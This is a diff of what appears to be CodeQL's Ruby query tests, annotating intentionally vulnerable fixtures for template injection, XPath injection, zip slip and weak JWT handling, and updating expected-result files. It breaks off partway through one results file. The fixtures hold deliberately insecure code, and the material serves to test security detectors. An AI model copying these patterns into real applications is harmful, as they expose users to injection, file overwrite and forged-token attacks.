BAD: user input is evaluated # where name is unsanitized - template = ERB.new(bad_text).result(binding) + template = ERB.new(bad_text).result(binding) # $ Alert # BAD: user input is evaluated # where name is unsanitized - render inline: bad_text + render inline: bad_text # $ Alert # Template with the source good_text = " diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb index 07b93a20468..05684b9454f 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb @@ -2,7 +2,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a template # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Template with the source (no sanitizer) bad_text = " @@ -11,7 +11,7 @@ class FooController < ActionController::Base " % name # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad_text }.render + Slim::Template.new{ bad_text }.render # $ Alert # Template with the source (no sanitizer) bad2_text = " @@ -20,7 +20,7 @@ class FooController < ActionController::Base " # BAD: renders user input # where text is unsanitized - Slim::Template.new{ bad2_text }.render + Slim::Template.new{ bad2_text }.render # $ Alert # Template with the source (no render) good_text = " diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.expected b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.expected index cdb6045d4da..2355550b932 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.expected +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.expected @@ -1,3 +1,8 @@ +#select +| ErbInjection.rb:15:24:15:31 | bad_text | ErbInjection.rb:5:12:5:17 | call to params | ErbInjection.rb:15:24:15:31 | bad_text | This template depends on a $@. | ErbInjection.rb:5:12:5:17 | call to params | user-provided value | +| ErbInjection.rb:19:20:19:27 | bad_text | ErbInjection.rb:5:12:5:17 | call to params | ErbInjection.rb:19:20:19:27 | bad_text | This template depends on a $@. | ErbInjection.rb:5:12:5:17 | call to params | user-provided value | +| SlimInjection.rb:14:25:14:32 | bad_text | SlimInjection.rb:5:12:5:17 | call to params | SlimInjection.rb:14:25:14:32 | bad_text | This template depends on a $@. | SlimInjection.rb:5:12:5:17 | call to params | user-provided value | +| SlimInjection.rb:23:25:23:33 | bad2_text | SlimInjection.rb:5:12:5:17 | call to params | SlimInjection.rb:23:25:23:33 | bad2_text | This template depends on a $@. | SlimInjection.rb:5:12:5:17 | call to params | user-provided value | edges | ErbInjection.rb:5:5:5:8 | name | ErbInjection.rb:8:5:8:12 | bad_text | provenance | | | ErbInjection.rb:5:5:5:8 | name | ErbInjection.rb:11:11:11:14 | name | provenance | | @@ -35,8 +40,3 @@ nodes | SlimInjection.rb:23:23:23:35 | { ... } : [lambda] [captured bad2_text] : String | semmle.label | { ... } : [lambda] [captured bad2_text] : String | | SlimInjection.rb:23:25:23:33 | bad2_text | semmle.label | bad2_text | subpaths -#select -| ErbInjection.rb:15:24:15:31 | bad_text | ErbInjection.rb:5:12:5:17 | call to params | ErbInjection.rb:15:24:15:31 | bad_text | This template depends on a $@. | ErbInjection.rb:5:12:5:17 | call to params | user-provided value | -| ErbInjection.rb:19:20:19:27 | bad_text | ErbInjection.rb:5:12:5:17 | call to params | ErbInjection.rb:19:20:19:27 | bad_text | This template depends on a $@. | ErbInjection.rb:5:12:5:17 | call to params | user-provided value | -| SlimInjection.rb:14:25:14:32 | bad_text | SlimInjection.rb:5:12:5:17 | call to params | SlimInjection.rb:14:25:14:32 | bad_text | This template depends on a $@. | SlimInjection.rb:5:12:5:17 | call to params | user-provided value | -| SlimInjection.rb:23:25:23:33 | bad2_text | SlimInjection.rb:5:12:5:17 | call to params | SlimInjection.rb:23:25:23:33 | bad2_text | This template depends on a $@. | SlimInjection.rb:5:12:5:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref index 38054e393ee..e783cc8cabb 100644 --- a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref @@ -1 +1,2 @@ -experimental/template-injection/TemplateInjection.ql \ No newline at end of file +query: experimental/template-injection/TemplateInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb index 3bde2f1e40b..8a992b5ba36 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb @@ -2,7 +2,7 @@ require 'libxml' class FooController < ActionController::Base def libxml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ class FooController < ActionController::Base results1 = doc.find_first('//foo') # BAD: XPath query is constructed from user input - results2 = doc.find_first("//#{name}") + results2 = doc.find_first("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.find('//foo') # BAD: XPath query is constructed from user input - results4 = doc.find("//#{name}") + results4 = doc.find("//#{name}") # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb index e3ac8055f48..89f5fa5e844 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb @@ -2,7 +2,7 @@ require 'nokogiri' class FooController < ActionController::Base def nokogiri_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,19 +18,19 @@ class FooController < ActionController::Base results1 = doc.at('//foo') # BAD: XPath query is constructed from user input - results2 = doc.at("//#{name}") + results2 = doc.at("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = doc.xpath('//foo') # BAD: XPath query is constructed from user input - results4 = doc.xpath("//#{name}") + results4 = doc.xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results5 = doc.at_xpath('//foo') # BAD: XPath query is constructed from user input - results6 = doc.at_xpath("//#{name}") + results6 = doc.at_xpath("//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input doc.xpath('//foo').each do |element| @@ -38,7 +38,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - doc.xpath("//#{name}").each do |element| + doc.xpath("//#{name}").each do |element| # $ Alert puts element.text end @@ -48,7 +48,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - doc.search("//#{name}").each do |element| + doc.search("//#{name}").each do |element| # $ Alert puts element.text end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb index 6ee16d125b4..5b850c70ad4 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb @@ -2,7 +2,7 @@ require 'rexml' class FooController < ActionController::Base def rexml_handler(event:, context:) - name = params[:user_name] + name = params[:user_name] # $ Source xml = <<-XML @@ -18,13 +18,13 @@ class FooController < ActionController::Base results1 = REXML::XPath.first(doc, "//foo") # BAD: XPath query is constructed from user input - results2 = REXML::XPath.first(doc, "//#{name}") + results2 = REXML::XPath.first(doc, "//#{name}") # $ Alert # GOOD: XPath query is not constructed from user input results3 = REXML::XPath.match(doc, "//foo", nil) # BAD: XPath query is constructed from user input - results4 = REXML::XPath.match(doc, "//#{name}", nil) + results4 = REXML::XPath.match(doc, "//#{name}", nil) # $ Alert # GOOD: XPath query is not constructed from user input REXML::XPath.each(doc, "//foo") do |element| @@ -32,7 +32,7 @@ class FooController < ActionController::Base end # BAD: XPath query constructed from user input - REXML::XPath.each(doc, "//#{name}") do |element| + REXML::XPath.each(doc, "//#{name}") do |element| # $ Alert puts element.text end end diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.expected b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.expected index 66ef14da3d7..369a01c72f0 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.expected +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.expected @@ -1,3 +1,14 @@ +#select +| LibxmlInjection.rb:21:31:21:41 | "//#{...}" | LibxmlInjection.rb:5:12:5:17 | call to params | LibxmlInjection.rb:21:31:21:41 | "//#{...}" | XPath expression depends on a $@. | LibxmlInjection.rb:5:12:5:17 | call to params | user-provided value | +| LibxmlInjection.rb:27:25:27:35 | "//#{...}" | LibxmlInjection.rb:5:12:5:17 | call to params | LibxmlInjection.rb:27:25:27:35 | "//#{...}" | XPath expression depends on a $@. | LibxmlInjection.rb:5:12:5:17 | call to params | user-provided value | +| NokogiriInjection.rb:21:23:21:33 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:21:23:21:33 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | +| NokogiriInjection.rb:27:26:27:36 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:27:26:27:36 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | +| NokogiriInjection.rb:33:29:33:39 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:33:29:33:39 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | +| NokogiriInjection.rb:41:15:41:25 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:41:15:41:25 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | +| NokogiriInjection.rb:51:16:51:26 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:51:16:51:26 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | +| RexmlInjection.rb:21:40:21:50 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:21:40:21:50 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | +| RexmlInjection.rb:27:40:27:50 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:27:40:27:50 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | +| RexmlInjection.rb:35:28:35:38 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:35:28:35:38 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | edges | LibxmlInjection.rb:5:5:5:8 | name | LibxmlInjection.rb:21:31:21:41 | "//#{...}" | provenance | AdditionalTaintStep | | LibxmlInjection.rb:5:5:5:8 | name | LibxmlInjection.rb:27:25:27:35 | "//#{...}" | provenance | AdditionalTaintStep | @@ -36,14 +47,3 @@ nodes | RexmlInjection.rb:27:40:27:50 | "//#{...}" | semmle.label | "//#{...}" | | RexmlInjection.rb:35:28:35:38 | "//#{...}" | semmle.label | "//#{...}" | subpaths -#select -| LibxmlInjection.rb:21:31:21:41 | "//#{...}" | LibxmlInjection.rb:5:12:5:17 | call to params | LibxmlInjection.rb:21:31:21:41 | "//#{...}" | XPath expression depends on a $@. | LibxmlInjection.rb:5:12:5:17 | call to params | user-provided value | -| LibxmlInjection.rb:27:25:27:35 | "//#{...}" | LibxmlInjection.rb:5:12:5:17 | call to params | LibxmlInjection.rb:27:25:27:35 | "//#{...}" | XPath expression depends on a $@. | LibxmlInjection.rb:5:12:5:17 | call to params | user-provided value | -| NokogiriInjection.rb:21:23:21:33 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:21:23:21:33 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | -| NokogiriInjection.rb:27:26:27:36 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:27:26:27:36 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | -| NokogiriInjection.rb:33:29:33:39 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:33:29:33:39 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | -| NokogiriInjection.rb:41:15:41:25 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:41:15:41:25 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | -| NokogiriInjection.rb:51:16:51:26 | "//#{...}" | NokogiriInjection.rb:5:12:5:17 | call to params | NokogiriInjection.rb:51:16:51:26 | "//#{...}" | XPath expression depends on a $@. | NokogiriInjection.rb:5:12:5:17 | call to params | user-provided value | -| RexmlInjection.rb:21:40:21:50 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:21:40:21:50 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | -| RexmlInjection.rb:27:40:27:50 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:27:40:27:50 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | -| RexmlInjection.rb:35:28:35:38 | "//#{...}" | RexmlInjection.rb:5:12:5:17 | call to params | RexmlInjection.rb:35:28:35:38 | "//#{...}" | XPath expression depends on a $@. | RexmlInjection.rb:5:12:5:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref index a5b1b23c203..7ca9780f11c 100644 --- a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref +++ b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref @@ -1 +1,2 @@ -experimental/xpath-injection/XpathInjection.ql \ No newline at end of file +query: experimental/xpath-injection/XpathInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.expected b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.expected index 65ffe942e84..926568e388d 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.expected +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.expected @@ -1,3 +1,10 @@ +#select +| zip_slip.rb:10:19:10:33 | call to full_name | zip_slip.rb:8:15:8:54 | call to new | zip_slip.rb:10:19:10:33 | call to full_name | This file extraction depends on a $@. | zip_slip.rb:8:15:8:54 | call to new | potentially untrusted source | +| zip_slip.rb:22:21:22:35 | call to full_name | zip_slip.rb:20:50:20:56 | tarfile | zip_slip.rb:22:21:22:35 | call to full_name | This file extraction depends on a $@. | zip_slip.rb:20:50:20:56 | tarfile | potentially untrusted source | +| zip_slip.rb:47:17:47:26 | call to name | zip_slip.rb:46:5:46:24 | call to open | zip_slip.rb:47:17:47:26 | call to name | This file extraction depends on a $@. | zip_slip.rb:46:5:46:24 | call to open | potentially untrusted source | +| zip_slip.rb:58:19:58:28 | call to name | zip_slip.rb:56:30:56:37 | zip_file | zip_slip.rb:58:19:58:28 | call to name | This file extraction depends on a $@. | zip_slip.rb:56:30:56:37 | zip_file | potentially untrusted source | +| zip_slip.rb:100:21:100:30 | entry_path | zip_slip.rb:90:12:90:54 | call to open | zip_slip.rb:100:21:100:30 | entry_path | This file extraction depends on a $@. | zip_slip.rb:90:12:90:54 | call to open | potentially untrusted source | +| zip_slip.rb:126:21:126:30 | entry_path | zip_slip.rb:123:12:123:34 | call to new | zip_slip.rb:126:21:126:30 | entry_path | This file extraction depends on a $@. | zip_slip.rb:123:12:123:34 | call to new | potentially untrusted source | edges | zip_slip.rb:8:5:8:11 | tarfile | zip_slip.rb:9:5:9:11 | tarfile | provenance | | | zip_slip.rb:8:15:8:54 | call to new | zip_slip.rb:8:5:8:11 | tarfile | provenance | | @@ -71,10 +78,3 @@ nodes | zip_slip.rb:125:22:125:36 | call to full_name | semmle.label | call to full_name | | zip_slip.rb:126:21:126:30 | entry_path | semmle.label | entry_path | subpaths -#select -| zip_slip.rb:10:19:10:33 | call to full_name | zip_slip.rb:8:15:8:54 | call to new | zip_slip.rb:10:19:10:33 | call to full_name | This file extraction depends on a $@. | zip_slip.rb:8:15:8:54 | call to new | potentially untrusted source | -| zip_slip.rb:22:21:22:35 | call to full_name | zip_slip.rb:20:50:20:56 | tarfile | zip_slip.rb:22:21:22:35 | call to full_name | This file extraction depends on a $@. | zip_slip.rb:20:50:20:56 | tarfile | potentially untrusted source | -| zip_slip.rb:47:17:47:26 | call to name | zip_slip.rb:46:5:46:24 | call to open | zip_slip.rb:47:17:47:26 | call to name | This file extraction depends on a $@. | zip_slip.rb:46:5:46:24 | call to open | potentially untrusted source | -| zip_slip.rb:58:19:58:28 | call to name | zip_slip.rb:56:30:56:37 | zip_file | zip_slip.rb:58:19:58:28 | call to name | This file extraction depends on a $@. | zip_slip.rb:56:30:56:37 | zip_file | potentially untrusted source | -| zip_slip.rb:100:21:100:30 | entry_path | zip_slip.rb:90:12:90:54 | call to open | zip_slip.rb:100:21:100:30 | entry_path | This file extraction depends on a $@. | zip_slip.rb:90:12:90:54 | call to open | potentially untrusted source | -| zip_slip.rb:126:21:126:30 | entry_path | zip_slip.rb:123:12:123:34 | call to new | zip_slip.rb:126:21:126:30 | entry_path | This file extraction depends on a $@. | zip_slip.rb:123:12:123:34 | call to new | potentially untrusted source | diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref index 2ecd57e4b2b..a5b8c00322e 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref @@ -1 +1,2 @@ -experimental/cwe-022-zipslip/ZipSlip.ql +query: experimental/cwe-022-zipslip/ZipSlip.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb index 4e5aa27d00a..72c8c4701fc 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb @@ -5,9 +5,9 @@ class TestController < ActionController::Base def tarReaderUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - tarfile = Gem::Package::TarReader.new(file_stream) + tarfile = Gem::Package::TarReader.new(file_stream) # $ Source tarfile.each do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -17,9 +17,9 @@ class TestController < ActionController::Base def tarReaderBlockUnsafe path = params[:path] file_stream = IO.new(IO.sysopen(path)) - Gem::Package::TarReader.new(file_stream) do |tarfile| + Gem::Package::TarReader.new(file_stream) do |tarfile| # $ Source tarfile.each_entry do |entry| - ::File.open(entry.full_name, "wb") do |os| + ::File.open(entry.full_name, "wb") do |os| # $ Alert entry.read end end @@ -43,8 +43,8 @@ class TestController < ActionController::Base # BAD def zipFileUnsafe path = params[:path] - Zip::File.open(path).each do |entry| - File.open(entry.name, "wb") do |os| + Zip::File.open(path).each do |entry| # $ Source + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -53,9 +53,9 @@ class TestController < ActionController::Base # BAD def zipFileBlockUnsafe path = params[:path] - Zip::File.open(path) do |zip_file| + Zip::File.open(path) do |zip_file| # $ Source zip_file.each do |entry| - File.open(entry.name, "wb") do |os| + File.open(entry.name, "wb") do |os| # $ Alert entry.read end end @@ -87,7 +87,7 @@ class TestController < ActionController::Base end def get_compressed_file_stream(compressed_file_path) - gzip = Zlib::GzipReader.open(compressed_file_path) + gzip = Zlib::GzipReader.open(compressed_file_path) # $ Source yield(gzip) end @@ -97,7 +97,7 @@ class TestController < ActionController::Base get_compressed_file_stream(path) do |compressed_file| compressed_file.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end @@ -120,10 +120,10 @@ class TestController < ActionController::Base def gzipReaderUnsafeNewInstance path = params[:path] File.open(path, 'rb') do |f| - gz = Zlib::GzipReader.new(f) + gz = Zlib::GzipReader.new(f) # $ Source gz.each do |entry| entry_path = entry.full_name - ::File.open(entry_path, 'wb') do |os| + ::File.open(entry_path, 'wb') do |os| # $ Alert entry.read end end diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref index 2faba2ebb12..1fe05308e87 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref @@ -1 +1 @@ -experimental/cwe-176/UnicodeBypassValidation.ql +query: experimental/cwe-176/UnicodeBypassValidation.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref index 3d034add0ba..c6f2acf7d75 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref @@ -1 +1,2 @@ -experimental/cwe-347/EmptyJWTSecret.ql \ No newline at end of file +query: experimental/cwe-347/EmptyJWTSecret.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb index a78ec0d0421..8744163786c 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb @@ -6,10 +6,10 @@ payload = { foo: 'bar' } token1 = JWT.encode({ foo: 'bar' }, "secret", 'none') # BAD: the secret used is empty -token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') +token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # BAD: the secret used is empty -token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') +token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm] # GOOD: the token is signed token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256') \ No newline at end of file diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref index 793275aef11..dba60e5fbb4 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref @@ -1 +1,2 @@ -experimental/cwe-347/MissingJWTVerification.ql \ No newline at end of file +query: experimental/cwe-347/MissingJWTVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb index 4c5bd08094e..388eabbe7d5 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb @@ -3,19 +3,19 @@ require 'jwt' payload = { foo: 'bar' } # Unsecure token -token_without_signature = JWT.encode(payload, nil, 'none') +token_without_signature = JWT.encode(payload, nil, 'none') # $ Alert[rb/jwt-empty-secret-or-algorithm] # Secure token token = JWT.encode(payload, "secret", 'HS256') # BAD: it does not verify -decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') +decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') +decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') # $ Alert[rb/jwt-missing-verification] # BAD: it's using none -decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) +decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) # $ Alert[rb/jwt-missing-verification] # GOOD: it does verify decoded_token5 = JWT.decode(token, secret, 'HS256') diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.expected b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.expected index 0fa5f915830..0cfb19a4361 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.expected +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.expected @@ -1,3 +1,18 @@ +#select +| UnsafeYamlDeserialization.rb:11:25:11:33 | yaml_data | UnsafeYamlDeserialization.rb:10:17:10:22 | call to params | UnsafeYamlDeserialization.rb:11:25:11:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:10:17:10:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:18:25:18:33 | yaml_data | UnsafeYamlDeserialization.rb:17:17:17:22 | call to params | UnsafeYamlDeserialization.rb:18:25:18:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:17:17:17:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:33:32:33:40 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:33:32:33:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:34:37:34:45 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:34:37:34:45 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:35:32:35:40 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:35:32:35:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:37:14:37:33 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:37:14:37:33 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:38:14:38:43 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:38:14:38:43 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:39:14:39:48 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:39:14:39:48 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:49:14:49:32 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:49:14:49:32 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | +| UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | value from stdin | +| UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | value from stdin | +| UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | value from stdin | +| UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | value from stdin | +| UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | 